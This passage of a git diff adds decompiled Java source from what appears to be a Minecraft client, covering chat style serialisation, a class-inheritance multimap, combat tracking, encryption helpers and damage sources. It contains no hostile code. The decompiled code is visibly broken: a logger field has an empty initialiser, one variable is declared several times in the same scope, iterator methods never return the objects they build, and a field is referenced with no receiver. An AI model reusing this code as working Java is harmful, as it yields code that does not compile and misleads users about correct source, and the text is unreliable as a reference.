+        return var4;
+      }
+      
+
+
+      return null;
+    }
+    
+
+    public JsonElement serialize(ChatStyle p_serialize_1_, Type p_serialize_2_, JsonSerializationContext p_serialize_3_)
+    {
+      if (p_serialize_1_.isEmpty())
+      {
+        return null;
+      }
+      
+
+      JsonObject var4 = new JsonObject();
+      
+      if (bold != null)
+      {
+        var4.addProperty("bold", bold);
+      }
+      
+      if (italic != null)
+      {
+        var4.addProperty("italic", italic);
+      }
+      
+      if (underlined != null)
+      {
+        var4.addProperty("underlined", underlined);
+      }
+      
+      if (strikethrough != null)
+      {
+        var4.addProperty("strikethrough", strikethrough);
+      }
+      
+      if (obfuscated != null)
+      {
+        var4.addProperty("obfuscated", obfuscated);
+      }
+      
+      if (color != null)
+      {
+        var4.add("color", p_serialize_3_.serialize(color));
+      }
+      
+      if (insertion != null)
+      {
+        var4.add("insertion", p_serialize_3_.serialize(insertion));
+      }
+      
+
+
+      if (chatClickEvent != null)
+      {
+        JsonObject var5 = new JsonObject();
+        var5.addProperty("action", chatClickEvent.getAction().getCanonicalName());
+        var5.addProperty("value", chatClickEvent.getValue());
+        var4.add("clickEvent", var5);
+      }
+      
+      if (chatHoverEvent != null)
+      {
+        JsonObject var5 = new JsonObject();
+        var5.addProperty("action", chatHoverEvent.getAction().getCanonicalName());
+        var5.add("value", p_serialize_3_.serialize(chatHoverEvent.getValue()));
+        var4.add("hoverEvent", var5);
+      }
+      
+      return var4;
+    }
+    
+
+    public JsonElement serialize(Object p_serialize_1_, Type p_serialize_2_, JsonSerializationContext p_serialize_3_)
+    {
+      return serialize((ChatStyle)p_serialize_1_, p_serialize_2_, p_serialize_3_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/ClassInheratanceMultiMap.java b/src/minecraft/net/minecraft/util/ClassInheratanceMultiMap.java
new file mode 100644
index 0000000..a1dac91
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/ClassInheratanceMultiMap.java
@@ -0,0 +1,134 @@
+package net.minecraft.util;
+
+import com.google.common.collect.AbstractIterator;
+import com.google.common.collect.HashMultimap;
+import com.google.common.collect.Iterators;
+import com.google.common.collect.Multimap;
+import com.google.common.collect.Sets;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Set;
+import org.apache.commons.lang3.ClassUtils;
+
+public class ClassInheratanceMultiMap extends AbstractSet
+{
+  private final Multimap field_180218_a = HashMultimap.create();
+  private final Set field_180216_b = Sets.newIdentityHashSet();
+  private final Class field_180217_c;
+  private static final String __OBFID = "CL_00002266";
+  
+  public ClassInheratanceMultiMap(Class p_i45909_1_)
+  {
+    field_180217_c = p_i45909_1_;
+    field_180216_b.add(p_i45909_1_);
+  }
+  
+  public void func_180213_a(Class p_180213_1_)
+  {
+    Iterator var2 = field_180218_a.get(func_180212_a(p_180213_1_, false)).iterator();
+    
+    while (var2.hasNext())
+    {
+      Object var3 = var2.next();
+      
+      if (p_180213_1_.isAssignableFrom(var3.getClass()))
+      {
+        field_180218_a.put(p_180213_1_, var3);
+      }
+    }
+    
+    field_180216_b.add(p_180213_1_);
+  }
+  
+  protected Class func_180212_a(Class p_180212_1_, boolean p_180212_2_)
+  {
+    Iterator var3 = ClassUtils.hierarchy(p_180212_1_, org.apache.commons.lang3.ClassUtils.Interfaces.INCLUDE).iterator();
+    
+    Class var4;
+    do
+    {
+      if (!var3.hasNext())
+      {
+        throw new IllegalArgumentException("Don't know how to search for " + p_180212_1_);
+      }
+      
+      var4 = (Class)var3.next();
+    }
+    while (!field_180216_b.contains(var4));
+    
+    if ((var4 == field_180217_c) && (p_180212_2_))
+    {
+      func_180213_a(p_180212_1_);
+    }
+    
+    return var4;
+  }
+  
+  public boolean add(Object p_add_1_)
+  {
+    Iterator var2 = field_180216_b.iterator();
+    
+    while (var2.hasNext())
+    {
+      Class var3 = (Class)var2.next();
+      
+      if (var3.isAssignableFrom(p_add_1_.getClass()))
+      {
+        field_180218_a.put(var3, p_add_1_);
+      }
+    }
+    
+    return true;
+  }
+  
+  public boolean remove(Object p_remove_1_)
+  {
+    Object var2 = p_remove_1_;
+    boolean var3 = false;
+    Iterator var4 = field_180216_b.iterator();
+    
+    while (var4.hasNext())
+    {
+      Class var5 = (Class)var4.next();
+      
+      if (var5.isAssignableFrom(var2.getClass()))
+      {
+        var3 |= field_180218_a.remove(var5, var2);
+      }
+    }
+    
+    return var3;
+  }
+  
+  public Iterable func_180215_b(final Class p_180215_1_)
+  {
+    new Iterable()
+    {
+      private static final String __OBFID = "CL_00002265";
+      
+      public Iterator iterator() {
+        Iterator var1 = field_180218_a.get(func_180212_a(p_180215_1_, true)).iterator();
+        return Iterators.filter(var1, p_180215_1_);
+      }
+    };
+  }
+  
+  public Iterator iterator()
+  {
+    final Iterator var1 = field_180218_a.get(field_180217_c).iterator();
+    new AbstractIterator()
+    {
+      private static final String __OBFID = "CL_00002264";
+      
+      protected Object computeNext() {
+        return !var1.hasNext() ? endOfData() : var1.next();
+      }
+    };
+  }
+  
+  public int size()
+  {
+    return field_180218_a.get(field_180217_c).size();
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/CombatEntry.java b/src/minecraft/net/minecraft/util/CombatEntry.java
new file mode 100644
index 0000000..de13c94
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/CombatEntry.java
@@ -0,0 +1,57 @@
+package net.minecraft.util;
+
+import net.minecraft.entity.Entity;
+
+public class CombatEntry
+{
+  private final DamageSource damageSrc;
+  private final int field_94567_b;
+  private final float field_94568_c;
+  private final float field_94565_d;
+  private final String field_94566_e;
+  private final float field_94564_f;
+  private static final String __OBFID = "CL_00001519";
+  
+  public CombatEntry(DamageSource p_i1564_1_, int p_i1564_2_, float p_i1564_3_, float p_i1564_4_, String p_i1564_5_, float p_i1564_6_)
+  {
+    damageSrc = p_i1564_1_;
+    field_94567_b = p_i1564_2_;
+    field_94568_c = p_i1564_4_;
+    field_94565_d = p_i1564_3_;
+    field_94566_e = p_i1564_5_;
+    field_94564_f = p_i1564_6_;
+  }
+  
+
+
+
+  public DamageSource getDamageSrc()
+  {
+    return damageSrc;
+  }
+  
+  public float func_94563_c()
+  {
+    return field_94568_c;
+  }
+  
+  public boolean func_94559_f()
+  {
+    return damageSrc.getEntity() instanceof net.minecraft.entity.EntityLivingBase;
+  }
+  
+  public String func_94562_g()
+  {
+    return field_94566_e;
+  }
+  
+  public IChatComponent func_151522_h()
+  {
+    return getDamageSrc().getEntity() == null ? null : getDamageSrc().getEntity().getDisplayName();
+  }
+  
+  public float func_94561_i()
+  {
+    return damageSrc == DamageSource.outOfWorld ? Float.MAX_VALUE : field_94564_f;
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/CombatTracker.java b/src/minecraft/net/minecraft/util/CombatTracker.java
new file mode 100644
index 0000000..ac14105
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/CombatTracker.java
@@ -0,0 +1,260 @@
+package net.minecraft.util;
+
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.block.Block;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Blocks;
+import net.minecraft.item.ItemStack;
+import net.minecraft.world.World;
+
+public class CombatTracker
+{
+  private final List combatEntries = com.google.common.collect.Lists.newArrayList();
+  
+  private final EntityLivingBase fighter;
+  
+  private int field_94555_c;
+  private int field_152775_d;
+  private int field_152776_e;
+  private boolean field_94552_d;
+  private boolean field_94553_e;
+  private String field_94551_f;
+  private static final String __OBFID = "CL_00001520";
+  
+  public CombatTracker(EntityLivingBase p_i1565_1_)
+  {
+    fighter = p_i1565_1_;
+  }
+  
+  public void func_94545_a()
+  {
+    func_94542_g();
+    
+    if (fighter.isOnLadder())
+    {
+      Block var1 = fighter.worldObj.getBlockState(new BlockPos(fighter.posX, fighter.getEntityBoundingBox().minY, fighter.posZ)).getBlock();
+      
+      if (var1 == Blocks.ladder)
+      {
+        field_94551_f = "ladder";
+      }
+      else if (var1 == Blocks.vine)
+      {
+        field_94551_f = "vines";
+      }
+    }
+    else if (fighter.isInWater())
+    {
+      field_94551_f = "water";
+    }
+  }
+  
+  public void func_94547_a(DamageSource p_94547_1_, float p_94547_2_, float p_94547_3_)
+  {
+    func_94549_h();
+    func_94545_a();
+    CombatEntry var4 = new CombatEntry(p_94547_1_, fighter.ticksExisted, p_94547_2_, p_94547_3_, field_94551_f, fighter.fallDistance);
+    combatEntries.add(var4);
+    field_94555_c = fighter.ticksExisted;
+    field_94553_e = true;
+    
+    if ((var4.func_94559_f()) && (!field_94552_d) && (fighter.isEntityAlive()))
+    {
+      field_94552_d = true;
+      field_152775_d = fighter.ticksExisted;
+      field_152776_e = field_152775_d;
+      fighter.func_152111_bt();
+    }
+  }
+  
+  public IChatComponent func_151521_b()
+  {
+    if (combatEntries.size() == 0)
+    {
+      return new ChatComponentTranslation("death.attack.generic", new Object[] { fighter.getDisplayName() });
+    }
+    
+
+    CombatEntry var1 = func_94544_f();
+    CombatEntry var2 = (CombatEntry)combatEntries.get(combatEntries.size() - 1);
+    IChatComponent var4 = var2.func_151522_h();
+    Entity var5 = var2.getDamageSrc().getEntity();
+    Object var3;
+    Object var3;
+    if ((var1 != null) && (var2.getDamageSrc() == DamageSource.fall))
+    {
+      IChatComponent var6 = var1.func_151522_h();
+      Object var3;
+      if ((var1.getDamageSrc() != DamageSource.fall) && (var1.getDamageSrc() != DamageSource.outOfWorld)) {
+        Object var3;
+        if ((var6 != null) && ((var4 == null) || (!var6.equals(var4))))
+        {
+          Entity var9 = var1.getDamageSrc().getEntity();
+          ItemStack var8 = (var9 instanceof EntityLivingBase) ? ((EntityLivingBase)var9).getHeldItem() : null;
+          Object var3;
+          if ((var8 != null) && (var8.hasDisplayName()))
+          {
+            var3 = new ChatComponentTranslation("death.fell.assist.item", new Object[] { fighter.getDisplayName(), var6, var8.getChatComponent() });
+          }
+          else
+          {
+            var3 = new ChatComponentTranslation("death.fell.assist", new Object[] { fighter.getDisplayName(), var6 }); }
+        } else {
+          Object var3;
+          if (var4 != null)
+          {
+            ItemStack var7 = (var5 instanceof EntityLivingBase) ? ((EntityLivingBase)var5).getHeldItem() : null;
+            Object var3;
+            if ((var7 != null) && (var7.hasDisplayName()))
+            {
+              var3 = new ChatComponentTranslation("death.fell.finish.item", new Object[] { fighter.getDisplayName(), var4, var7.getChatComponent() });
+            }
+            else
+            {
+              var3 = new ChatComponentTranslation("death.fell.finish", new Object[] { fighter.getDisplayName(), var4 });
+            }
+          }
+          else
+          {
+            var3 = new ChatComponentTranslation("death.fell.killer", new Object[] { fighter.getDisplayName() });
+          }
+        }
+      }
+      else {
+        var3 = new ChatComponentTranslation("death.fell.accident." + func_94548_b(var1), new Object[] { fighter.getDisplayName() });
+      }
+    }
+    else
+    {
+      var3 = var2.getDamageSrc().getDeathMessage(fighter);
+    }
+    
+    return (IChatComponent)var3;
+  }
+  
+
+  public EntityLivingBase func_94550_c()
+  {
+    EntityLivingBase var1 = null;
+    EntityPlayer var2 = null;
+    float var3 = 0.0F;
+    float var4 = 0.0F;
+    Iterator var5 = combatEntries.iterator();
+    
+    while (var5.hasNext())
+    {
+      CombatEntry var6 = (CombatEntry)var5.next();
+      
+      if (((var6.getDamageSrc().getEntity() instanceof EntityPlayer)) && ((var2 == null) || (var6.func_94563_c() > var4)))
+      {
+        var4 = var6.func_94563_c();
+        var2 = (EntityPlayer)var6.getDamageSrc().getEntity();
+      }
+      
+      if (((var6.getDamageSrc().getEntity() instanceof EntityLivingBase)) && ((var1 == null) || (var6.func_94563_c() > var3)))
+      {
+        var3 = var6.func_94563_c();
+        var1 = (EntityLivingBase)var6.getDamageSrc().getEntity();
+      }
+    }
+    
+    if ((var2 != null) && (var4 >= var3 / 3.0F))
+    {
+      return var2;
+    }
+    
+
+    return var1;
+  }
+  
+
+  private CombatEntry func_94544_f()
+  {
+    CombatEntry var1 = null;
+    CombatEntry var2 = null;
+    byte var3 = 0;
+    float var4 = 0.0F;
+    
+    for (int var5 = 0; var5 < combatEntries.size(); var5++)
+    {
+      CombatEntry var6 = (CombatEntry)combatEntries.get(var5);
+      CombatEntry var7 = var5 > 0 ? (CombatEntry)combatEntries.get(var5 - 1) : null;
+      
+      if (((var6.getDamageSrc() == DamageSource.fall) || (var6.getDamageSrc() == DamageSource.outOfWorld)) && (var6.func_94561_i() > 0.0F) && ((var1 == null) || (var6.func_94561_i() > var4)))
+      {
+        if (var5 > 0)
+        {
+          var1 = var7;
+        }
+        else
+        {
+          var1 = var6;
+        }
+        
+        var4 = var6.func_94561_i();
+      }
+      
+      if ((var6.func_94562_g() != null) && ((var2 == null) || (var6.func_94563_c() > var3)))
+      {
+        var2 = var6;
+      }
+    }
+    
+    if ((var4 > 5.0F) && (var1 != null))
+    {
+      return var1;
+    }
+    if ((var3 > 5) && (var2 != null))
+    {
+      return var2;
+    }
+    
+
+    return null;
+  }
+  
+
+  private String func_94548_b(CombatEntry p_94548_1_)
+  {
+    return p_94548_1_.func_94562_g() == null ? "generic" : p_94548_1_.func_94562_g();
+  }
+  
+  public int func_180134_f()
+  {
+    return field_94552_d ? fighter.ticksExisted - field_152775_d : field_152776_e - field_152775_d;
+  }
+  
+  private void func_94542_g()
+  {
+    field_94551_f = null;
+  }
+  
+  public void func_94549_h()
+  {
+    int var1 = field_94552_d ? 300 : 100;
+    
+    if ((field_94553_e) && ((!fighter.isEntityAlive()) || (fighter.ticksExisted - field_94555_c > var1)))
+    {
+      boolean var2 = field_94552_d;
+      field_94553_e = false;
+      field_94552_d = false;
+      field_152776_e = fighter.ticksExisted;
+      
+      if (var2)
+      {
+        fighter.func_152112_bu();
+      }
+      
+      combatEntries.clear();
+    }
+  }
+  
+  public EntityLivingBase func_180135_h()
+  {
+    return fighter;
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/CryptManager.java b/src/minecraft/net/minecraft/util/CryptManager.java
new file mode 100644
index 0000000..29f5eed
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/CryptManager.java
@@ -0,0 +1,221 @@
+package net.minecraft.util;
+
+import java.io.UnsupportedEncodingException;
+import java.security.GeneralSecurityException;
+import java.security.InvalidKeyException;
+import java.security.Key;
+import java.security.KeyFactory;
+import java.security.KeyPair;
+import java.security.KeyPairGenerator;
+import java.security.MessageDigest;
+import java.security.NoSuchAlgorithmException;
+import java.security.PrivateKey;
+import java.security.PublicKey;
+import java.security.spec.InvalidKeySpecException;
+import java.security.spec.X509EncodedKeySpec;
+import javax.crypto.BadPaddingException;
+import javax.crypto.Cipher;
+import javax.crypto.IllegalBlockSizeException;
+import javax.crypto.KeyGenerator;
+import javax.crypto.NoSuchPaddingException;
+import javax.crypto.SecretKey;
+import javax.crypto.spec.IvParameterSpec;
+import javax.crypto.spec.SecretKeySpec;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class CryptManager
+{
+  private static final Logger field_180198_a = ;
+  
+  private static final String __OBFID = "CL_00001483";
+  
+  public CryptManager() {}
+  
+  public static SecretKey createNewSharedKey()
+  {
+    try
+    {
+      KeyGenerator var0 = KeyGenerator.getInstance("AES");
+      var0.init(128);
+      return var0.generateKey();
+    }
+    catch (NoSuchAlgorithmException var1)
+    {
+      throw new Error(var1);
+    }
+  }
+  
+
+
+
+  public static KeyPair generateKeyPair()
+  {
+    try
+    {
+      KeyPairGenerator var0 = KeyPairGenerator.getInstance("RSA");
+      var0.initialize(1024);
+      return var0.generateKeyPair();
+    }
+    catch (NoSuchAlgorithmException var1)
+    {
+      var1.printStackTrace();
+      field_180198_a.error("Key pair generation failed!"); }
+    return null;
+  }
+  
+
+
+
+
+  public static byte[] getServerIdHash(String p_75895_0_, PublicKey p_75895_1_, SecretKey p_75895_2_)
+  {
+    try
+    {
+      return digestOperation("SHA-1", new byte[][] { p_75895_0_.getBytes("ISO_8859_1"), p_75895_2_.getEncoded(), p_75895_1_.getEncoded() });
+    }
+    catch (UnsupportedEncodingException var4)
+    {
+      var4.printStackTrace(); }
+    return null;
+  }
+  
+
+
+
+
+  private static byte[] digestOperation(String p_75893_0_, byte[]... p_75893_1_)
+  {
+    try
+    {
+      MessageDigest var2 = MessageDigest.getInstance(p_75893_0_);
+      byte[][] var3 = p_75893_1_;
+      int var4 = p_75893_1_.length;
+      
+      for (int var5 = 0; var5 < var4; var5++)
+      {
+        byte[] var6 = var3[var5];
+        var2.update(var6);
+      }
+      
+      return var2.digest();
+    }
+    catch (NoSuchAlgorithmException var7)
+    {
+      var7.printStackTrace(); }
+    return null;
+  }
+  
+
+
+
+
+  public static PublicKey decodePublicKey(byte[] p_75896_0_)
+  {
+    try
+    {
+      X509EncodedKeySpec var1 = new X509EncodedKeySpec(p_75896_0_);
+      KeyFactory var2 = KeyFactory.getInstance("RSA");
+      return var2.generatePublic(var1);
+    }
+    catch (NoSuchAlgorithmException localNoSuchAlgorithmException) {}catch (InvalidKeySpecException localInvalidKeySpecException) {}
+    
+
+
+
+
+
+
+
+    field_180198_a.error("Public key reconstitute failed!");
+    return null;
+  }
+  
+
+
+
+  public static SecretKey decryptSharedKey(PrivateKey p_75887_0_, byte[] p_75887_1_)
+  {
+    return new SecretKeySpec(decryptData(p_75887_0_, p_75887_1_), "AES");
+  }
+  
+
+
+
+  public static byte[] encryptData(Key p_75894_0_, byte[] p_75894_1_)
+  {
+    return cipherOperation(1, p_75894_0_, p_75894_1_);
+  }
+  
+
+
+
+  public static byte[] decryptData(Key p_75889_0_, byte[] p_75889_1_)
+  {
+    return cipherOperation(2, p_75889_0_, p_75889_1_);
+  }
+  
+
+
+
+  private static byte[] cipherOperation(int p_75885_0_, Key p_75885_1_, byte[] p_75885_2_)
+  {
+    try
+    {
+      return createTheCipherInstance(p_75885_0_, p_75885_1_.getAlgorithm(), p_75885_1_).doFinal(p_75885_2_);
+    }
+    catch (IllegalBlockSizeException var4)
+    {
+      var4.printStackTrace();
+    }
+    catch (BadPaddingException var5)
+    {
+      var5.printStackTrace();
+    }
+    
+    field_180198_a.error("Cipher data failed!");
+    return null;
+  }
+  
+
+
+
+  private static Cipher createTheCipherInstance(int p_75886_0_, String p_75886_1_, Key p_75886_2_)
+  {
+    try
+    {
+      Cipher var3 = Cipher.getInstance(p_75886_1_);
+      var3.init(p_75886_0_, p_75886_2_);
+      return var3;
+    }
+    catch (InvalidKeyException var4)
+    {
+      var4.printStackTrace();
+    }
+    catch (NoSuchAlgorithmException var5)
+    {
+      var5.printStackTrace();
+    }
+    catch (NoSuchPaddingException var6)
+    {
+      var6.printStackTrace();
+    }
+    
+    field_180198_a.error("Cipher creation failed!");
+    return null;
+  }
+  
+  public static Cipher func_151229_a(int p_151229_0_, Key p_151229_1_)
+  {
+    try
+    {
+      Cipher var2 = Cipher.getInstance("AES/CFB8/NoPadding");
+      var2.init(p_151229_0_, p_151229_1_, new IvParameterSpec(p_151229_1_.getEncoded()));
+      return var2;
+    }
+    catch (GeneralSecurityException var3)
+    {
+      throw new RuntimeException(var3);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/DamageSource.java b/src/minecraft/net/minecraft/util/DamageSource.java
new file mode 100644
index 0000000..41b14e4
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/DamageSource.java
@@ -0,0 +1,275 @@
+package net.minecraft.util;
+
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.projectile.EntityArrow;
+import net.minecraft.entity.projectile.EntityFireball;
+import net.minecraft.world.Explosion;
+
+public class DamageSource
+{
+  public static DamageSource inFire = new DamageSource("inFire").setFireDamage();
+  public static DamageSource field_180137_b = new DamageSource("lightningBolt");
+  public static DamageSource onFire = new DamageSource("onFire").setDamageBypassesArmor().setFireDamage();
+  public static DamageSource lava = new DamageSource("lava").setFireDamage();
+  public static DamageSource inWall = new DamageSource("inWall").setDamageBypassesArmor();
+  public static DamageSource drown = new DamageSource("drown").setDamageBypassesArmor();
+  public static DamageSource starve = new DamageSource("starve").setDamageBypassesArmor().setDamageIsAbsolute();
+  public static DamageSource cactus = new DamageSource("cactus");
+  public static DamageSource fall = new DamageSource("fall").setDamageBypassesArmor();
+  public static DamageSource outOfWorld = new DamageSource("outOfWorld").setDamageBypassesArmor().setDamageAllowedInCreativeMode();
+  public static DamageSource generic = new DamageSource("generic").setDamageBypassesArmor();
+  public static DamageSource magic = new DamageSource("magic").setDamageBypassesArmor().setMagicDamage();
+  public static DamageSource wither = new DamageSource("wither").setDamageBypassesArmor();
+  public static DamageSource anvil = new DamageSource("anvil");
+  public static DamageSource fallingBlock = new DamageSource("fallingBlock");
+  
+
+  private boolean isUnblockable;
+  
+
+  private boolean isDamageAllowedInCreativeMode;
+  
+  private boolean damageIsAbsolute;
+  
+  private float hungerDamage = 0.3F;
+  
+
+  private boolean fireDamage;
+  
+
+  private boolean projectile;
+  
+  private boolean difficultyScaled;
+  
+  private boolean magicDamage;
+  
+  private boolean explosion;
+  
+  public String damageType;
+  
+  private static final String __OBFID = "CL_00001521";
+  
+
+  public static DamageSource causeMobDamage(EntityLivingBase p_76358_0_)
+  {
+    return new EntityDamageSource("mob", p_76358_0_);
+  }
+  
+
+
+
+  public static DamageSource causePlayerDamage(EntityPlayer p_76365_0_)
+  {
+    return new EntityDamageSource("player", p_76365_0_);
+  }
+  
+
+
+
+  public static DamageSource causeArrowDamage(EntityArrow p_76353_0_, Entity p_76353_1_)
+  {
+    return new EntityDamageSourceIndirect("arrow", p_76353_0_, p_76353_1_).setProjectile();
+  }
+  
+
+
+
+  public static DamageSource causeFireballDamage(EntityFireball p_76362_0_, Entity p_76362_1_)
+  {
+    return p_76362_1_ == null ? new EntityDamageSourceIndirect("onFire", p_76362_0_, p_76362_0_).setFireDamage().setProjectile() : new EntityDamageSourceIndirect("fireball", p_76362_0_, p_76362_1_).setFireDamage().setProjectile();
+  }
+  
+  public static DamageSource causeThrownDamage(Entity p_76356_0_, Entity p_76356_1_)
+  {
+    return new EntityDamageSourceIndirect("thrown", p_76356_0_, p_76356_1_).setProjectile();
+  }
+  
+  public static DamageSource causeIndirectMagicDamage(Entity p_76354_0_, Entity p_76354_1_)
+  {
+    return new EntityDamageSourceIndirect("indirectMagic", p_76354_0_, p_76354_1_).setDamageBypassesArmor().setMagicDamage();
+  }
+  
+
+
+
+  public static DamageSource causeThornsDamage(Entity p_92087_0_)
+  {
+    return new EntityDamageSource("thorns", p_92087_0_).func_180138_v().setMagicDamage();
+  }
+  
+  public static DamageSource setExplosionSource(Explosion p_94539_0_)
+  {
+    return (p_94539_0_ != null) && (p_94539_0_.getExplosivePlacedBy() != null) ? new EntityDamageSource("explosion.player", p_94539_0_.getExplosivePlacedBy()).setDifficultyScaled().setExplosion() : new DamageSource("explosion").setDifficultyScaled().setExplosion();
+  }
+  
+
+
+
+  public boolean isProjectile()
+  {
+    return projectile;
+  }
+  
+
+
+
+  public DamageSource setProjectile()
+  {
+    projectile = true;
+    return this;
+  }
+  
+  public boolean isExplosion()
+  {
+    return explosion;
+  }
+  
+  public DamageSource setExplosion()
+  {
+    explosion = true;
+    return this;
+  }
+  
+  public boolean isUnblockable()
+  {
+    return isUnblockable;
+  }
+  
+
+
+
+  public float getHungerDamage()
+  {
+    return hungerDamage;
+  }
+  
+  public boolean canHarmInCreative()
+  {
+    return isDamageAllowedInCreativeMode;
+  }
+  
+
+
+
+  public boolean isDamageAbsolute()
+  {
+    return damageIsAbsolute;
+  }
+  
+  protected DamageSource(String p_i1566_1_)
+  {
+    damageType = p_i1566_1_;
+  }
+  
+  public Entity getSourceOfDamage()
+  {
+    return getEntity();
+  }
+  
+  public Entity getEntity()
+  {
+    return null;
+  }
+  
+  protected DamageSource setDamageBypassesArmor()
+  {
+    isUnblockable = true;
+    hungerDamage = 0.0F;
+    return this;
+  }
+  
+  protected DamageSource setDamageAllowedInCreativeMode()
+  {
+    isDamageAllowedInCreativeMode = true;
+    return this;
+  }
+  
+
+
+
+
+  protected DamageSource setDamageIsAbsolute()
+  {
+    damageIsAbsolute = true;
+    hungerDamage = 0.0F;
+    return this;
+  }
+  
+
+
+
+  protected DamageSource setFireDamage()
+  {
+    fireDamage = true;
+    return this;
+  }
+  
+
+
+
+  public IChatComponent getDeathMessage(EntityLivingBase p_151519_1_)
+  {
+    EntityLivingBase var2 = p_151519_1_.func_94060_bK();
+    String var3 = "death.attack." + damageType;
+    String var4 = var3 + ".player";
+    return (var2 != null) && (StatCollector.canTranslate(var4)) ? new ChatComponentTranslation(var4, new Object[] { p_151519_1_.getDisplayName(), var2.getDisplayName() }) : new ChatComponentTranslation(var3, new Object[] { p_151519_1_.getDisplayName() });
+  }
+  
+
+
+
+  public boolean isFireDamage()
+  {
+    return fireDamage;
+  }
+  
+
+
+
+  public String getDamageType()
+  {
+    return damageType;
+  }
+  
+
+
+
+  public DamageSource setDifficultyScaled()
+  {
+    difficultyScaled = true;
+    return this;
+  }
+  
+
+
+
+  public boolean isDifficultyScaled()
+  {
+    return difficultyScaled;
+  }
+  
+
+
+
+  public boolean isMagicDamage()
+  {
+    return magicDamage;
+  }
+  
+
+
+
+  public DamageSource setMagicDamage()
+  {
+    magicDamage = true;
+    return this;
+  }
+  
+  public boolean func_180136_u()
+  {
+    Entity var1 = getEntity();
+    return ((var1 instanceof EntityPlayer)) && (capabilities.isCreativeMode);
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/EnchantmentNameParts.java b/src/minecraft/net/minecraft/util/EnchantmentNameParts.java
new file mode 100644
index 0000000..ac195fa
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/EnchantmentNameParts.java
@@ -0,0 +1,45 @@
+package net.minecraft.util;
+
+import java.util.Random;
+
+public class EnchantmentNameParts
+{
+  private static final EnchantmentNameParts instance = new EnchantmentNameParts();
+  private Random rand = new Random();
+  private String[] namePartsArray = "the elder scrolls klaatu berata niktu xyzzy bless curse light darkness fire air earth water hot dry cold wet ignite snuff embiggen twist shorten stretch fiddle destroy imbue galvanize enchant free limited range of towards inside sphere cube self other ball mental physical grow shrink demon elemental spirit animal creature beast humanoid undead fresh stale ".split(" ");
+  private static final String __OBFID = "CL_00000756";
+  
+  public EnchantmentNameParts() {}
+  
+  public static EnchantmentNameParts func_178176_a() { return instance; }
+  
+
+
+
+
+  public String generateNewRandomName()
+  {
+    int var1 = rand.nextInt(2) + 3;
+    String var2 = "";
+    
+    for (int var3 = 0; var3 < var1; var3++)
+    {
+      if (var3 > 0)
+      {
+        var2 = var2 + " ";
+      }
+      
+      var2 = var2 + namePartsArray[rand.nextInt(namePartsArray.length)];
+    }
+    
+    return var2;
+  }
+  
+
+
+
+  public void reseedRandomGenerator(long p_148335_1_)
+  {
+    rand.setSeed(p_148335_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/EntityDamageSource.java b/src/minecraft/net/minecraft/util/EntityDamageSource.java
new file mode 100644
index 0000000..212a0a5
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/EntityDamageSource.java
@@ -0,0 +1,54 @@
+package net.minecraft.util;
+
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.item.ItemStack;
+
+public class EntityDamageSource extends DamageSource
+{
+  protected Entity damageSourceEntity;
+  private boolean field_180140_r = false;
+  private static final String __OBFID = "CL_00001522";
+  
+  public EntityDamageSource(String p_i1567_1_, Entity p_i1567_2_)
+  {
+    super(p_i1567_1_);
+    damageSourceEntity = p_i1567_2_;
+  }
+  
+  public EntityDamageSource func_180138_v()
+  {
+    field_180140_r = true;
+    return this;
+  }
+  
+  public boolean func_180139_w()
+  {
+    return field_180140_r;
+  }
+  
+  public Entity getEntity()
+  {
+    return damageSourceEntity;
+  }
+  
+
+
+
+  public IChatComponent getDeathMessage(EntityLivingBase p_151519_1_)
+  {
+    ItemStack var2 = (damageSourceEntity instanceof EntityLivingBase) ? ((EntityLivingBase)damageSourceEntity).getHeldItem() : null;
+    String var3 = "death.attack." + damageType;
+    String var4 = var3 + ".item";
+    return (var2 != null) && (var2.hasDisplayName()) && (StatCollector.canTranslate(var4)) ? new ChatComponentTranslation(var4, new Object[] { p_151519_1_.getDisplayName(), damageSourceEntity.getDisplayName(), var2.getChatComponent() }) : new ChatComponentTranslation(var3, new Object[] { p_151519_1_.getDisplayName(), damageSourceEntity.getDisplayName() });
+  }
+  
+
+
+
+  public boolean isDifficultyScaled()
+  {
+    return (damageSourceEntity != null) && ((damageSourceEntity instanceof EntityLivingBase)) && (!(damageSourceEntity instanceof EntityPlayer));
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/EntityDamageSourceIndirect.java b/src/minecraft/net/minecraft/util/EntityDamageSourceIndirect.java
new file mode 100644
index 0000000..efa6c4c
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/EntityDamageSourceIndirect.java
@@ -0,0 +1,39 @@
+package net.minecraft.util;
+
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.item.ItemStack;
+
+public class EntityDamageSourceIndirect extends EntityDamageSource
+{
+  private Entity indirectEntity;
+  private static final String __OBFID = "CL_00001523";
+  
+  public EntityDamageSourceIndirect(String p_i1568_1_, Entity p_i1568_2_, Entity p_i1568_3_)
+  {
+    super(p_i1568_1_, p_i1568_2_);
+    indirectEntity = p_i1568_3_;
+  }
+  
+  public Entity getSourceOfDamage()
+  {
+    return damageSourceEntity;
+  }
+  
+  public Entity getEntity()
+  {
+    return indirectEntity;
+  }
+  
+
+
+
